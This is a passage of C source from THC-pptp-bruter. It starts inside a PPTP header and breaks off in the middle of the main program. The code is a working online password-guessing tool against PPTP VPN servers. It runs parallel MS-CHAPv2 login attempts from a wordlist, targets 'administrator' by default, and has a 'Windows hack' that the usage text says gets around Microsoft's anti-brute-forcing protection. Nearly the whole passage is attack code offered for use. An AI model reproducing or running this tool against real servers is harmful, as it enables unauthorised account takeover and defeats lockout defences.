PPTP_MAX_CHANNELS 4096 #define PPTP_FIRMWARE_STRING "0.01" #define PPTP_FIRMWARE_VERSION 1 #define PPTP_HOSTNAME {'l','o','c','a','l',0} //#define PPTP_VENDOR {'c', 'a', 'n', 'a', 'n', 'i', 'a', 'n', 0} #define PPTP_VENDOR {'N','T',0} #define PPTP_FRAME_CAP 2 #define PPTP_BEARER_CAP 1 #define PPTP_VERSION 0x100 #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie, PPTP datagrams */ #define PPTP_BPS_MIN 2400 #define PPTP_BPS_MAX 10000000 #define PPTP_WINDOW 3 #define PPTP_CONNECT_SPEED 10000000 #define PPTP_DELAY 0 #define PPTP_HEADER_CTRL(type) \ { htons(PPTP_CTRL_SIZE(type)), \ htons(PPTP_MESSAGE_CONTROL), \ htonl(PPTP_MAGIC), \ htons(type), 0 } #define PPTP_CTRL_SIZE(type) ( \ (type==PPTP_START_CTRL_CONN_RQST)?sizeof(struct _pptp_start_ctrl_conn): \ (type==PPTP_START_CTRL_CONN_RPLY)?sizeof(struct _pptp_start_ctrl_conn): \ (type==PPTP_STOP_CTRL_CONN_RQST )?sizeof(struct _pptp_stop_ctrl_conn): \ (type==PPTP_STOP_CTRL_CONN_RPLY )?sizeof(struct _pptp_stop_ctrl_conn): \ (type==PPTP_ECHO_RQST )?sizeof(struct _pptp_echo_rqst): \ (type==PPTP_ECHO_RPLY )?sizeof(struct _pptp_echo_rply): \ (type==PPTP_OUT_CALL_RQST )?sizeof(struct _pptp_out_call_rqst): \ (type==PPTP_OUT_CALL_RPLY )?sizeof(struct _pptp_out_call_rply): \ (type==PPTP_IN_CALL_RQST )?sizeof(struct _pptp_in_call_rqst): \ (type==PPTP_IN_CALL_RPLY )?sizeof(struct _pptp_in_call_rply): \ (type==PPTP_IN_CALL_CONNECT )?sizeof(struct _pptp_in_call_connect): \ (type==PPTP_CALL_CLEAR_RQST )?sizeof(struct _pptp_call_clear_rqst): \ (type==PPTP_CALL_CLEAR_NTFY )?sizeof(struct _pptp_call_clear_ntfy): \ (type==PPTP_WAN_ERR_NTFY )?sizeof(struct _pptp_wan_err_ntfy): \ (type==PPTP_SET_LINK_INFO )?sizeof(struct _pptp_set_link_info): \ 0) #define max(a,b) (((a)>(b))?(a):(b)) #define PPTP_CTRL_SIZE_MAX ( \ max(sizeof(struct _pptp_start_ctrl_conn), \ max(sizeof(struct _pptp_echo_rqst), \ max(sizeof(struct _pptp_echo_rply), \ max(sizeof(struct _pptp_out_call_rqst), \ max(sizeof(struct _pptp_out_call_rply), \ max(sizeof(struct _pptp_in_call_rqst), \ max(sizeof(struct _pptp_in_call_rply), \ max(sizeof(struct _pptp_in_call_connect), \ max(sizeof(struct _pptp_call_clear_rqst), \ max(sizeof(struct _pptp_call_clear_ntfy), \ max(sizeof(struct _pptp_wan_err_ntfy), \ max(sizeof(struct _pptp_set_link_info), 0))))))))))))) #define PPTP_GENERAL_ERROR_NONE 0 #define PPTP_GENERAL_ERROR_NOT_CONNECTED 1 #define PPTP_WANTWRITE(pptp) (pptp)->wlen int pptp_open(struct _pptp *pptp, int ip, unsigned short port); ssize_t pptp_read(struct _pptp *pptp, void *buf, size_t count); ssize_t pptp_write(struct _pptp *pptp, void *buf, size_t count); int pptp_flush(struct _pptp *pptp); #endif THC-pptp-bruter-0.1.4/src/pptp_bruter.c0000644000175000017500000007155010150315722016101 0ustar 00000000000000/* * $Id:$ * * *********************************************************************** * * THC PRIVATE * THC PRIVATE * THC PRIVATE * THC PRIVATE * THC PRIVATE * * *********************************************************************** * http://www.thc.org * * 2004/06/04 * THC / segfault consortium */ #include "common.h" #include #include #include #include #include #include #include #include #include #include #include #include "pptp.h" #include "pptp_gre.h" #include "pptp_bruter.h" #include "ppp_fcs.h" #include "chap_ms.h" /* PROTOTYPING */ static int send_lcp(int fd, struct _slot *slot, unsigned char code, unsigned char id, unsigned char *data, int len); static int send_ppp_lcp(int fd, struct _slot *slot, unsigned char id, char *data, int len); //static struct _slot *slot_lookup_first_free(void); static int slot_new(PPTP *pptp, struct _slot *slot); static int slot_next(struct _slot *slot); static struct _slot *slot_lookup(unsigned short call_id); static int send_first_gre(int fd, struct _slot *slot); static char *asn_next(unsigned char *src, unsigned char *end, unsigned char *type, unsigned char *vlen); static void timeout_reset(struct _slot *slot); static void tv_add(struct timeval *dst, struct timeval *src, struct timeval *delta); static int tv_cmp(struct timeval *a, struct timeval *b); static void tv_sub_saturation(struct timeval *dst, struct timeval *a, struct timeval *b); static void pptp_wait_established(int gre_fd, PPTP *pptp); struct _opt opt; static struct _slot slots[PPTP_BRUTER_MAX_SLOTS]; static int pptp_call_open(PPTP *pptp, unsigned short call_id) { int ret; struct _pptp_out_call_rqst packet = { PPTP_HEADER_CTRL(PPTP_OUT_CALL_RQST), 0, 0, /* call_id, sernum */ htonl(PPTP_BPS_MIN), htonl(PPTP_BPS_MAX), htonl(PPTP_BEARER_CAP), htonl(PPTP_FRAME_CAP), htons(PPTP_WINDOW), 0, 0, 0, {0}, {0} }; packet.call_id = htons(call_id); ret = pptp_write(pptp, &packet, sizeof packet); return ret; } int pptp_req_callid(PPTP *pptp, struct _slot *slot) { static unsigned short call_id; /* start and warp around handling */ if (call_id == 0) call_id = (getpid() % 4096) * 16; else if (call_id == 65535) call_id = 0; slot->gre.call_id = ++call_id; pptp_call_open(pptp, slot->gre.call_id); slot->state = SLOT_STATE_WAIT_CID; DEBUGF("SLOT starting with call_id %u ('%s'\n", call_id, slot->password); return 0; } /* * Note: We never read if we have something to write. */ static int dispatch(int gre_fd, PPTP *pptp, char *buf, size_t len) { ssize_t ret; struct _slot *slot; struct _pptp_header *header = (struct _pptp_header *)buf; union { struct _pptp_start_ctrl_conn *start; struct _pptp_stop_ctrl_conn *stop; struct _pptp_echo_rply *pong; struct _pptp_echo_rqst *ping; struct _pptp_out_call_rqst *call_req; struct _pptp_out_call_rply *call_res; struct _pptp_call_clear_rqst *clear_req; struct _pptp_call_clear_ntfy *clear_ntfy; struct _pptp_set_link_info *link_info; void *packet; } p; p.packet = buf; if (ntohl(header->magic) != PPTP_MAGIC) return 0; if (ntohs(header->pptp_type) != PPTP_MESSAGE_CONTROL) LOGRET(0, "Unknown PPTP message type (%d)\n", ntohs(header->pptp_type)); if (len < PPTP_CTRL_SIZE(ntohs(header->ctrl_type))) LOGRET(0, "Shorten packet received. [type: %d, length: %d]\n", ntohs(header->ctrl_type), len); DEBUGF("pptp len %d, ctrl type %d\n", len, ntohs(header->ctrl_type)); switch (ntohs(header->ctrl_type)) { case PPTP_START_CTRL_CONN_RQST: break; case PPTP_START_CTRL_CONN_RPLY: if (ntohs(p.start->version) != PPTP_VERSION) goto pptp_conn_close; if ((p.start->result_code != 1) && (p.start->result_code != 0)) goto pptp_conn_close; pptp->state = PPTP_STATE_ESTABLISHED; /* * Firmware 2 OS mapping: * 2195 - windows 2k * 3790 - windows XP server 2003 */ printf("PPTP Connection established.\n"); printf("Hostname '%s', Vendor '%s', Firmware: %d\n", p.start->hostname, p.start->vendor, ntohs(p.start->firmware_rev)); break; case PPTP_STOP_CTRL_CONN_RQST: { struct _pptp_stop_ctrl_conn reply = { PPTP_HEADER_CTRL(PPTP_STOP_CTRL_CONN_RPLY), 1, PPTP_GENERAL_ERROR_NONE, 0 }; ret = pptp_write(pptp, &reply, sizeof reply); goto pptp_conn_close; /* Dein Wunsch ist mir befehl! */ break; } case PPTP_STOP_CTRL_CONN_RPLY: goto pptp_conn_close; break; case PPTP_ECHO_RPLY: break; case PPTP_ECHO_RQST: /* 0x05 */ { struct _pptp_echo_rply reply = { PPTP_HEADER_CTRL(PPTP_ECHO_RPLY), p.ping->identifier, 1, PPTP_GENERAL_ERROR_NONE, 0 }; ret = pptp_write(pptp, &reply, sizeof reply); DEBUGF("Echo reply, wrote %d bytes\n", ret); break; } case PPTP_OUT_CALL_RQST: { struct _pptp_out_call_rply reply = { PPTP_HEADER_CTRL(PPTP_OUT_CALL_RPLY), 0 /* callid */, p.call_req->call_id, 1, PPTP_GENERAL_ERROR_NONE, 0, htonl(PPTP_CONNECT_SPEED), htons(PPTP_WINDOW), htons(PPTP_DELAY), 0 }; reply.result_code = 7; /* outgoind calls fobidden */ ret = pptp_write(pptp, &reply, sizeof reply); break; } case PPTP_OUT_CALL_RPLY: { if (p.call_res->result_code != 1) goto pptp_conn_close; /* peer is OUR id [e.g. we set it!] and ID is peer's id */ DEBUGF("Outgoing call established (local call ID %u, peer call ID %u)\n", ntohs(p.call_res->call_id_peer), ntohs(p.call_res->call_id)); slot = slot_lookup(ntohs(p.call_res->call_id_peer)); if (slot == NULL) { DEBUGF("Peer send infos for non-existing slot %d\n", htons(p.call_res->call_id_peer)); break; } DEBUGF("password: '%s'\n", slot->password); //g_call_id = htons(p.call_res->call_id_peer); slot->gre.peer_call_id = ntohs(p.call_res->call_id); send_first_gre(gre_fd, slot); slot->state = SLOT_STATE_PPTP_CFGREQ_SENT; return 1; break; } case PPTP_CALL_CLEAR_RQST: /* 12 */ { struct _pptp_call_clear_ntfy reply = { PPTP_HEADER_CTRL(PPTP_CALL_CLEAR_NTFY), p.clear_req->call_id, 1, PPTP_GENERAL_ERROR_NONE, 0, 0, {0} }; /* FIXME: reply has wrong call_id. should be peer, not? */ /* FIXME: restart slot with _new_ ID. */ DEBUGF("call clear request received for peer_call_id %d\n", ntohs(p.clear_req->call_id)); ret = pptp_write(pptp, &reply, sizeof reply); break; } case PPTP_CALL_CLEAR_NTFY: break; case PPTP_SET_LINK_INFO: break; default: LOGRET(0, "Unrecognized ctrl_type %d recevied\n", ntohs(header->ctrl_type)); break; } return 0; /* All went fine... */ pptp_conn_close: DEBUGF("conneciton close here!\n"); return -1; } static void slots_init(PPTP *pptp, struct _slot *slots) { int i; for (i = 0; i < opt.n_slots; i++) slot_new(pptp, &slots[i]); } #if 0 static struct _slot * slot_lookup_first_free(void) { int i; for (i = 0; i < opt.n_slots; i++) if (slots[i].state == SLOT_STATE_NONE) return &slots[i]; return NULL; } #endif static struct _slot * slot_lookup(unsigned short call_id) { int i; for (i = 0; i < opt.n_slots; i++) { DEBUGF("Slot local call id: %u, state %d\n", slots[i].gre.call_id, slots[i].state); if (slots[i].gre.call_id == call_id) return &slots[i]; } return NULL; } /* * Search in memory region for asn type type and return ptr to it. * the payload length is stored in 'vlen'. * * Return NULL if not found. */ static char * asn_extract(unsigned char *src, int len, unsigned char type, unsigned char *vlen) { unsigned char *end = src + len; while (src + 2 < end) { if (*src != type) { src += *(src + 1); continue; } src++; if (*src + src >= end) return NULL; if (*src < 2) return NULL; *vlen = *src - 2; return src + 1; } return NULL; } /* * next asn.1 value. length of value is stored in vlen. */ static char * asn_next(unsigned char *src, unsigned char *end, unsigned char *type, unsigned char *vlen) { if (src + 2 > end) return NULL; *type = *src++; *vlen = *src++ - 2; if (src + *vlen > end) return NULL; return src; } /* * Return -1 if password is found. */ static int gre_dispatch(int fd, PPTP *pptp, struct _slot *slot, unsigned char *buf, int len) { struct _pptp_gre_header *header = (struct _pptp_gre_header *)buf; struct _ppp_header_addr *ppp_a; struct _ppp_header *ppp; struct _ppp_lcp_header *lcp; unsigned char asnlen; unsigned char type; unsigned char *ptr; unsigned char *end = buf + len; char resp[2048]; /* >= 49 */ char *reject; int hdrsize; DEBUGF("INSIDE gre_dispathc: id %d, peer_id %d\n", slot->gre.call_id, slot->gre.peer_call_id); hdrsize = sizeof *header; if (!PPTP_GRE_IS_A(header->ver)) hdrsize -= sizeof header->ack; if (!PPTP_GRE_IS_S(header->flags)) hdrsize -= sizeof header->ack; ppp_a = (struct _ppp_header_addr *)(buf + hdrsize); ppp = (struct _ppp_header *)(buf + hdrsize); if (ppp_a->address == 0xff) lcp = (struct _ppp_lcp_header *)(ppp_a->payload); else if (memcmp(ppp, "\xc2\x23", 2) == 0) lcp = (struct _ppp_lcp_header *)(ppp->payload); else { DEBUGF("Unknown GRE packet of len %d. Ignoring\n", len); hexdump(buf, len); return 0; /* Unknown packet */ } if (end - lcp->payload < 0) { DEBUGF("GRE without payload. Ignoring.\n"); return 0; } //len -= (sizeof *header + sizeof _ppp_header); //if (len < ntohs(lcp->length)) //return 0; /* Len is now the PAYLOAD length */ len = ntohs(lcp->length) - sizeof *lcp; if (lcp->payload + len != end) { DEBUGF("Packet with wrong length.\n"); return 0; } /* Parse ppp protocol. */ if ((ppp_a->address == 0xff)) /* ESC code, ctrl following */ { DEBUGF("lcp_code: %d, seq %d\n", lcp->code, header->seq); switch (lcp->code) { case 0x01: /* Configuration request */ slot->state = SLOT_STATE_CONF_RECV; /* First check if there are any options that we * should reject. If nothing to reject then go on * and nack/ack it to force challenge response. */ ptr = lcp->payload; reject = resp; while (1) { ptr = asn_next(ptr, end, &type, &asnlen); //DEBUGF("asn type %x, asnlen %d\n", type, asnlen); if (ptr == NULL) break; switch (type) { case 0x01: /* Max. receive unit */ case 0x03: /* Authentication Protocol Options */ case 0x05: /* Magic number */ case 0x07: /* Protocol field compression */ case 0x08: /* Address/Ctrl field comp */ case 0x0d: /* Callback */ case 0x13: /* Multilink endpoint discreminiator */ break; default: /* All others we dont accept. */ if (reject + 2 + asnlen >= resp + sizeof resp) break; *reject++ = type; *reject++ = asnlen + 2; memcpy(reject, ptr, asnlen); reject += asnlen; } ptr += asnlen; } if (reject > resp) { send_lcp(fd, slot, 0x04, lcp->id, resp, reject - resp); return 0; } ptr = asn_extract(lcp->payload, len, 0x03, &asnlen); if ((ptr) && (asnlen >= 2)) { //DEBUGF("auth type found, len %d %2.2x.%2.2x\n", asnlen, *ptr, *(ptr + 1)); /* Other than MSCHAPv2? NAK it, propose MSCHAPv2 */ /* onloy MS-CHAP-v2 with NT-AUTH. (0x81). LAter on att MD5 auth as well. */ if ((memcmp(ptr, "\xc2\x23", 2) != 0) || (asnlen != 3) || (*(ptr + 2) != 0x81)) { /* FIXME we might require some parameteres here */ send_lcp(fd, slot, 0x03, lcp->id, "\x03\x05\xc2\x23\x81", 5); //send_lcp(fd, gre, 0x03, lcp->id, ptr - 2, asnlen + 2); break; } /* MS-CHAP-v2 requested. ACK this configuration! */ } /* Otherwise accept all config requests */ send_lcp(fd, slot, 0x02, lcp->id, lcp->payload, len); break; case 0x02: /* Configuration ACK */ break; case 0x04: /* Configuration reject */ /* FIXME: fatal! */ break; case 0x06: /* Termination ACK received */ /* Send empty ack. */ DEBUGF("SLOT %u ended. (termianted)\n", slot->gre.call_id); gre_write(fd, &slot->gre, NULL, 0); /* If windowshack then we go only in here if we * terminated a LCP connection. We only terminate * a LCP conn in WINDOWSHACKMODE if we ran out of * passwords. In this case we send a TERM-REQ for * that call_id out which must be ack'ed here (but * no new call_id should be requested!) */ if (!(opt.flags & OPT_FLAGS_WINDOWSHACK)) slot_new(pptp, slot); break; default: DEBUGF("Unknown lcp code %u\n", lcp->code); } } else if (ntohs(ppp->protocol) == 0xc223) { DEBUGF("small lcp code %d, seq %d\n", lcp->code, header->seq); switch (lcp->code) { case 0x01: /* Challenge */ slot->state = SLOT_STATE_CHL_RECV; DEBUGF("Challenge received\n"); if (lcp->payload[0] != 16) break; if (lcp->payload + 1 + 16 > end) break; #if 0 memcpy(slot->challenge, lcp->payload + 1, sizeof slot->challenge); slot->lcp_id = lcp->id; ChapMS_v2(resp + 1, slot->challenge, slot->password, strlen(slot->password), opt.user); memcpy(resp + 1 + 49, opt.user, strlen(opt.user)); resp[0] = 49; send_ppp_lcp(fd, slot, slot->lcp_id++, resp, 1 + 49 + strlen(opt.user)); #endif #if 1 ChapMS_v2(resp + 1, lcp->payload + 1, slot->password, strlen(slot->password), opt.user); memcpy(resp + 1 + 49, opt.user, strlen(opt.user)); resp[0] = 49; send_ppp_lcp(fd, slot, lcp->id, resp, 1 + 49 + strlen(opt.user)); #endif break; case 0x03: /* Success */ return -1; case 0x04: /* Failure */ if (opt.flags & OPT_FLAGS_WINDOWSHACK) { /* FAILURE-resend from peer of previous pwd * can overwrite current slot. */ if (slot->state == SLOT_STATE_FAILURE_RECV) break; if (slot_next(slot) != 0) { slot->state = SLOT_STATE_WAIT_TERM_ACK; send_lcp(fd, slot, 0x05, lcp->id, "unknown", 7); break; } slot->state = SLOT_STATE_FAILURE_RECV; send_first_gre(fd, slot); } else { slot->state = SLOT_STATE_WAIT_TERM_ACK; send_lcp(fd, slot, 0x05, lcp->id, "unknown", 7); } #if 0 ChapMS_v2(resp + 1, slot->challenge, slot->password, strlen(slot->password), opt.user); memcpy(resp + 1 + 49, opt.user, strlen(opt.user)); resp[0] = 49; send_ppp_lcp(fd, slot, slot->lcp_id++, resp, 1 + 49 + strlen(opt.user)); #endif /* Wait for TERMINATION request */ break; default: DEBUGF("Unknown lcp protocol code\n"); } } else { DEBUGF("Unknown GRE payload\n"); } return 0; } static int send_ppp_lcp(int fd, struct _slot *slot, unsigned char id, char *data, int len) { unsigned char buf[8196]; struct _ppp_header *ppp = (struct _ppp_header *)buf; struct _ppp_lcp_header *lcp = (struct _ppp_lcp_header *)(buf + sizeof *ppp); ppp->protocol = htons(PROTO_PPP_CHL); lcp->code = 0x02; lcp->id = id; lcp->length = htons(4 + len); memcpy(&lcp->payload, data, len); timeout_reset(slot); return gre_write(fd, &slot->gre, buf, len + sizeof *ppp + sizeof *lcp); } static int send_lcp(int fd, struct _slot *slot, unsigned char code, unsigned char id, unsigned char *data, int len) { unsigned char buf[8196]; struct _ppp_header_addr *ppp_a = (struct _ppp_header_addr *)buf; struct _ppp_lcp_header *lcp = (struct _ppp_lcp_header *)(buf + sizeof *ppp_a); ppp_a->address = 0xff; ppp_a->ctrl = 0x03; ppp_a->protocol = htons(PROTO_PPP_LCP); lcp->code = code; lcp->id = id; lcp->length = htons(4 + len); memcpy(&lcp->payload, data, len); timeout_reset(slot); return gre_write(fd, &slot->gre, buf, len + sizeof *ppp_a + sizeof *lcp); } static int send_first_gre(int fd, struct _slot *slot) { unsigned char buf[1024]; struct _ppp_header_addr *ppp_a = (struct _ppp_header_addr *)buf; struct _ppp_lcp_header *lcp = (struct _ppp_lcp_header *)(buf + sizeof *ppp_a); char *ptr; int ret; ppp_a->address = 0xff; ppp_a->ctrl = 0x03; ppp_a->protocol = htons(PROTO_PPP_LCP); lcp->code = 0x01; lcp->id = 0x01; lcp->length = htons(14); ptr = lcp->payload; /* Add async control char map, magic number, protodol comp, add com * manually. */ memcpy(lcp->payload, "\x02\x06\x00\x00\x00\x00\x07\x02\x08\x02", 10); ret = gre_write(fd, &slot->gre, buf, sizeof *ppp_a + sizeof *lcp + 10); if (ret < 0) fprintf(stderr, "ERROR: gre_write(): %s\n", strerror(errno)); timeout_reset(slot); return 0; } void hexdump(unsigned char *ptr, int len) { int i; for (i = 0; i < len; i++) printf("%2.2x ", ptr[i]); printf("\n"); } /* * fire off slot. pwd and stuff has aleady been initialized. */ static int slot_start(PPTP *pptp, struct _slot *slot) { GRE_init(&slot->gre); gettimeofday(&slot->start, NULL); memcpy(&slot->due_global, &slot->start, sizeof slot->due_global); slot->due_global.tv_sec += 180; timeout_reset(slot); pptp_req_callid(pptp, slot); return 0; } /* * Restart a slot. Use same password. */ static int slot_restart(PPTP *pptp, struct _slot *slot) { char pwd[32 + 1]; struct timeval tv_now; /* TERM old call_id. we are getting a new one */ gettimeofday(&tv_now, NULL); DEBUGF("SLOT %u restart after %ld seconds\n", slot->gre.call_id, tv_now.tv_sec - slot->start.tv_sec); memcpy(pwd, slot->password, strlen(slot->password) + 1); memset(slot, 0, sizeof *slot); memcpy(slot->password, pwd, strlen(pwd)); return slot_start(pptp, slot); } /* * set new password. */ static int slot_next(struct _slot *slot) { char *ptr; struct timeval tv; //if ((fgets(slot->password, sizeof slot->password - 1, opt.wordlistfp) == NULL) || (opt.tries >= opt.n_slots)) if (fgets(slot->password, sizeof slot->password - 1, opt.wordlistfp) == NULL) { slot->state = SLOT_STATE_NONE; return -1; } ptr = strchr(slot->password, '\n'); if (ptr) *ptr = '\0'; opt.tries++; /* Limit number of passwords / sec we read. This automaticly limits * number of pwd's we try per second. */ if (opt.limit > 0) { //DEBUGF("due: %01ld.%06ld, now: %01ld.%06ld\n", opt.pwd_due.tv_sec, opt.pwd_due.tv_usec, opt.tv_now.tv_sec, opt.tv_now.tv_usec); while (tv_cmp(&opt.pwd_due, &opt.tv_now) > 0) { tv_sub_saturation(&tv, &opt.pwd_due, &opt.tv_now); DEBUGF("waiting for %01ld.%06ld sec\n", tv.tv_sec, tv.tv_usec); select(0, NULL, NULL, NULL, &tv); gettimeofday(&opt.tv_now, NULL); } tv_add(&opt.pwd_due, &opt.tv_now, &opt.pwd_delta); } return 0; } /* * Initialize a new slot structue. * - set password */ static int slot_new(PPTP *pptp, struct _slot *slot) { DEBUGF("SLOT new (old call_id %u), getting new pwd\n", slot->gre.call_id); memset(slot, 0, sizeof *slot); if (slot_next(slot) != 0) return -1; return slot_start(pptp, slot); } static void usage(char *err) { if (err) printf("%s", err); printf("" "thc-pptp-bruter [options] \n" " -v Verbose output / Debug output\n" " -W Disable windows hack [default: enabled]\n" " -u User [default: administrator]\n" " -w Wordlist file [default: stdin]\n" " -p PPTP port [default: 1723]\n" " -n Number of parallel tries [default: 5]\n" " -l Limit to n passwords / sec [default: 100]\n" "\n" "Windows-Hack reuses the LCP connection with the same caller-id. This\n" "gets around MS's anti-brute forcing protection. It's enabled by default.\n" ""); exit(0); } static int do_getopt(int argc, char *argv[]) { int c; while ((c = getopt(argc, argv, "Wvn:w:u:h:l:")) != -1) { switch (c) { case 'v': opt.flags |= OPT_FLAGS_VERBOSE; break; case 'l': opt.limit = atoi(optarg); if (opt.limit < 0) opt.limit = PPTP_BRUTER_DFL_LIMIT; break; case 'W': opt.flags &= ~OPT_FLAGS_WINDOWSHACK; break; case 'n': opt.n_slots = atoi(optarg); if (opt.n_slots <= 0) opt.n_slots = 1; if (opt.n_slots > PPTP_BRUTER_MAX_SLOTS) opt.n_slots = PPTP_BRUTER_MAX_SLOTS; break; case 'u': opt.user = optarg; break; case 'w': opt.wordlistfp = fopen(optarg, "r"); if (opt.wordlistfp == NULL) PERREXIT("fopen(%s)", optarg); case 'h': default: usage(NULL); } } opt.host = argv[optind]; if (opt.host == NULL) usage("Target IP missing.\n"); return 0; } static int init_defaults(void) { memset(&opt, 0, sizeof opt); opt.n_slots = 5; opt.user = "administrator"; opt.wordlistfp = stdin; opt.port = 1723; opt.flags |= OPT_FLAGS_WINDOWSHACK; opt.limit = PPTP_BRUTER_DFL_LIMIT; return 0; } static void timeout_set(struct _slot *slot) { /* At least two seconds timeout. Wont work otherwise. WIndows * has timeout of 1 sec as well and goes crazy if we send packet * when he retransmit packet :/ */ gettimeofday(&slot->due, NULL); slot->due.tv_sec += slot->retrans_timeout + 2; } static void timeout_reset(struct _slot *slot) { slot->retrans_timeout = 0; timeout_set(slot); } static int handle_timeout(int gre_fd, PPTP *pptp, struct _slot *slot) { int ret; #if 0 if ((slot->retrans_timeout >= 60)) { /* This call-id time'ed out complety. Does it make * sense to send a terminate request? Will the peer * answer? And if not? Better dont send term-req * and just ack every incoming term-req even if * slot does not exist for the call_id */ DEBUGF("Timeout (global) of slot. Requesting new call-id. (state: %d, '%s')\n", slot->state, slot->password); slot_restart(pptp, slot); return 0; } #endif /* Handle timeout in this state */ /* retransmit last package? */ switch (slot->state) { case SLOT_STATE_PPTP_CFGREQ_SENT: ret = write(gre_fd, slot->gre.u.wbuf, slot->gre.wlen); DEBUGF("Timeout. Resending GRE packet (state: %d, len: %d, ret: %d)\n", slot->state, slot->gre.wlen, ret); break; case SLOT_STATE_WAIT_CID: /* This is hilarious. We have to retransmit on a TCP * connection because windows is just braindead and * the application drops packets when received to many * call-id requests */ /* This is currently handled by slot-wide timeout (above) */ break; default: /* Packetlost in WAIT_CID cant happen because it goes * over TCP. This timeout is handled by global * tmeout. */ break; } /* delay: * 2 sec * 2 sec * 3 sec * 10 sec * 30 second * 60 seconds -> restart entire slot. */ if (slot->retrans_timeout <= 0) slot->retrans_timeout = 2; else if (slot->retrans_timeout <= 2) slot->retrans_timeout = 3; else if (slot->retrans_timeout <= 3) slot->retrans_timeout = 10; else if (slot->retrans_timeout <= 10) slot->retrans_timeout = 30; else if (slot->retrans_timeout <= 30) slot->retrans_timeout = 60; timeout_set(slot); return 0; } static void show_status(void) { struct timeval tv_now; int h, m, s; unsigned int sec; float ftries, fsec; float cs, lcs; static int last_tries; static struct timeval tv_last; gettimeofday(&tv_now, NULL); if ((tv_last.tv_sec == 0) && (tv_last.tv_usec == 0)) memcpy(&tv_last, &tv_now, sizeof tv_last); sec = tv_now.tv_sec - opt.start.tv_sec; s = sec % 60; m = (sec / 60) % 60; h = sec / 3600; fsec = MAX(sec, 1); ftries = MAX(opt.tries, 1); cs = ftries / fsec; /* calc c/s for last 5 seconds or something between */ tv_sub_saturation(&tv_last, &tv_now, &tv_last); fsec = tv_last.tv_sec * 100 + tv_last.tv_usec / 10000; if (fsec == 0) lcs = cs; else { ftries = MAX(opt.tries - last_tries, 1); lcs = (ftries / fsec) * 100; } printf("%u passwords tested in %uh %02um %02us (%01.02f %01.02f c/s)\n", opt.tries, h, m, s, lcs, cs); last_tries = opt.tries; memcpy(&tv_last, &tv_now, sizeof tv_last); } static int pptp_reconnect(int gre_fd, PPTP *pptp) { int ret; if (pptp->sox >= 0) { close(pptp->sox); pptp->sox = -1; } while (1) { ret = pptp_open(pptp, inet_addr(opt.host), htons(opt.port)); if (ret >= 0) { pptp_wait_established(gre_fd, pptp); return ret; } //fprintf(stderr, "connect %s:%d failed: %s\n", opt.host, opt.port, strerror(errno)); sleep(63); } return -1; } /* * return -1 if a < b * return 0 if a == b * return 1 if a > b */ static int tv_cmp(struct timeval *a, struct timeval *b) { if (a->tv_sec < b->tv_sec) return -1; if (a->tv_sec > b->tv_sec) return 1; if (a->tv_usec < b->tv_usec) return -1; if (a->tv_usec > b->tv_usec) return 1; return 0; } static void set_due(struct timeval *dst, struct timeval *src, int sec) { memcpy(dst, src, sizeof *dst); dst->tv_sec += sec; } /* * dst = src + delta */ static void tv_add(struct timeval *dst, struct timeval *src, struct timeval *delta) { dst->tv_sec = src->tv_sec + delta->tv_sec; dst->tv_usec = src->tv_usec + delta->tv_usec; if (dst->tv_usec >= 1000000) { dst->tv_sec++; dst->tv_usec -= 1000000; } } /* * dst = a - b * but with saturation to 0.0 (not less than 0) */ static void tv_sub_saturation(struct timeval *dst, struct timeval *a, struct timeval *b) { /* Convert to timeval suiteable for select() call */ if (tv_cmp(a, b) <= 0) { memset(dst, 0, sizeof *dst); return; } dst->tv_sec = a->tv_sec - b->tv_sec; if (a->tv_usec <= b->tv_usec) { if (a->tv_usec == b->tv_usec) dst->tv_usec = 0; else { /* a < b */ dst->tv_usec = 1000000 - (b->tv_usec - a->tv_usec); dst->tv_sec--; } } else dst->tv_usec = a->tv_usec - b->tv_usec; } static void init_vars(void) { opt.pwd_delta.tv_sec = 0; opt.pwd_delta.tv_usec = 999999 / opt.limit; gettimeofday(&opt.tv_now, NULL); gettimeofday(&opt.start, NULL); tv_add(&opt.pwd_due, &opt.start, &opt.pwd_delta); } static void pptp_wait_established(int gre_fd, PPTP *pptp) { char buf[4096]; int ret; /* Wait until it's in connected state */ while (pptp->state != PPTP_STATE_ESTABLISHED) { ret = pptp_read(pptp, buf, sizeof buf); dispatch(gre_fd, pptp, buf, ret); } } int main(int argc, char *argv[]) { struct _pptp pptp; int ret; char buf[4096]; int gre_fd; int maxfd; int i; struct _slot *slot; init_defaults(); do_getopt(argc, argv); init_vars(); /* Fire up ppp in --sync mode and read packets */ gre_fd = pptp_gre_bind(inet_addr(opt.host)); if (gre_fd < 0) PERREXIT("gre socket/connect"); /* Open pptp connection */ ret = pptp_open(&pptp, inet_addr(opt.host), htons(opt.port)); if (ret < 0) PERREXIT("Failed to open pptp connection"); pptp_wait_established(gre_fd, &pptp); slots_init(&pptp, slots); while (1) { struct timeval tv; fd_set rfds; int n; unsigned short call_id; int slots_running; maxfd = MAX(gre_fd, pptp.sox); FD_ZERO(&rfds); FD_SET(gre_fd, &rfds); FD_SET(pptp.sox, &rfds); slots_running = 0; /* Max wait 5 seconds */ //gettimeofday(&opt.tv_now, NULL); set_due(&tv, &opt.tv_now, 5); for (i = 0; i < opt.n_slots; i++) { if (slots[i].state <= SLOT_STATE_NONE) continue; if (slots[i].state >= SLOT_STATE_RESTARTABLE) slots_running++; DEBUGF("Slot %d state %d running with '%s', retrans %d, due %ld.%06ld now %ld.%06ld\n", i, slots[i].state, slots[i].password, slots[i].retrans_timeout, slots[i].due.tv_sec, slots[i].due.tv_usec, opt.tv_now.tv_sec, opt.tv_now.tv_usec); /* Check if anyone time'd out */ if (tv_cmp(&slots[i].due_global, &opt.tv_now) < 0) { DEBUGF("Timeout (global) of slot. Requesting new call-id. (state: %d, '%s')\n", slots[i].state, slots[i].password); slot_restart(&pptp, &slots[i]); } else if (tv_cmp(&slots[i].due, &opt.tv_now) < 0) { handle_timeout(gre_fd, &pptp, &slots[i]); } if (tv_cmp(&tv, &slots[i].due) > 0) memcpy(&tv, &slots[i].due, sizeof tv); } if (slots_running <= 0) { show_status(); exit(0); } /* Every 5 seconds show the status */ if (tv_cmp(&opt.tv_now, &opt.status_due) > 0) { show_status(); set_due(&opt.status_due, &opt.tv_now, 5); } if (tv_cmp(&tv, &opt.status_due) > 0) memcpy(&tv, &opt.status_due, sizeof tv); tv_sub_saturation(&tv, &tv, &opt.tv_now); DEBUGF("%d slots running, delay: %ld.%6.6ld\n", slots_running, tv.tv_sec, tv.tv_usec); n = select(maxfd + 1, &rfds, NULL, NULL, &tv); gettimeofday(&opt.tv_now, NULL); if (n < 0) PERREXIT("select"); /* 